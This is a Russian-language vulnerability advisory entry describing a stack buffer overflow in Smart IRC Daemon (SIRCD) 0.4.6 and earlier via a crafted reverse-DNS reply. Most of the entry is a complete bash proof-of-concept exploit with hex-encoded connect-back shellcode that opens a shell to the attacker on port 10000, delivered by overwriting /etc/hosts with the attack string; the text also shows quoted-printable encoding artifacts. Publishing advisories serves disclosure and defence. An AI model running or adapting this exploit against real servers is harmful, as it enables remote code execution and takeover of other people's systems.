Дата публикации: | 27.02.2003 |
Всего просмотров: | 1045 |
Опасность: | |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Описание: | Переполнение буфера обнаружено в Smart IRC Daemon (SIRCD). Удаленный пользователь может выполнять произвольный код на сервере. Как сообщается, программа не в состоянии правильно проверить размеры данных, переданных пользователем. Когда программа выполняет обратный DNS поиск, DNS сервер может представить специально сформированный ответ следующего формата, чтобы переполнить стек и выполнить произвольный код на целевом сервере: [94 bytes of crap][EBP ][EIP ][400 bytes for nops and shellcode]Уязвимость обнаружена в SIRCD IRC Daemon 0.4.6 and prior versions Эксплоит : #!/usr/local/bin/bash # /usr/ports/irc/sircd ; sircd v0.4.0; FreeBSD 4.7-RELEASE-p2 # shellcode=3Dconnect back to port 10000 shellcode (72 bytes) by bighawk # lousy script by knud echo -e "\nsircd 0.4.0 proof-of-concept, usage $0 <ip-of-attacker>\n" # assign variables attackerip=3D$1 filler=3D`perl -e 'print "B" x 94'` returnaddress=3D`perl -e '$i=3Dpack("l",0xbfafec04);print $i'` egg=3D`perl -e 'print "\x90" x 328 . = "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\x7f= \x01\x01\x01\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\= x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x= 2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"'`= attackstring=3D`echo "$filler$returnaddress$returnaddress$egg"` #read-> = 127.0.0.1^^^^^^^^^^^^^^^ # need uid=3D0 to modify /etc/hosts=20 if [ $UID -gt 0 ];=20 then =20 echo "UID =3D $UID, !=3D 0, cannot continue";=20 else=20 echo "UID check passed, backing up /etc/hosts" # if we end up here all is well cp /etc/hosts /etc/hosts.$$ echo -e "$attackerip\t$attackstring\t$attackstring" > /etc/hosts echo -e "Now connect to the sircd from $attackerip" echo -e "Press a key and enter to restore /etc/hosts" read restore if [ $restore =3D "" ]; then cp /etc/hosts.$$ /etc/hosts else cp /etc/hosts.$$ /etc/hosts echo "Game over man, game over" fi fi |
Ссылки: | sircd proof-of-concept / advisory |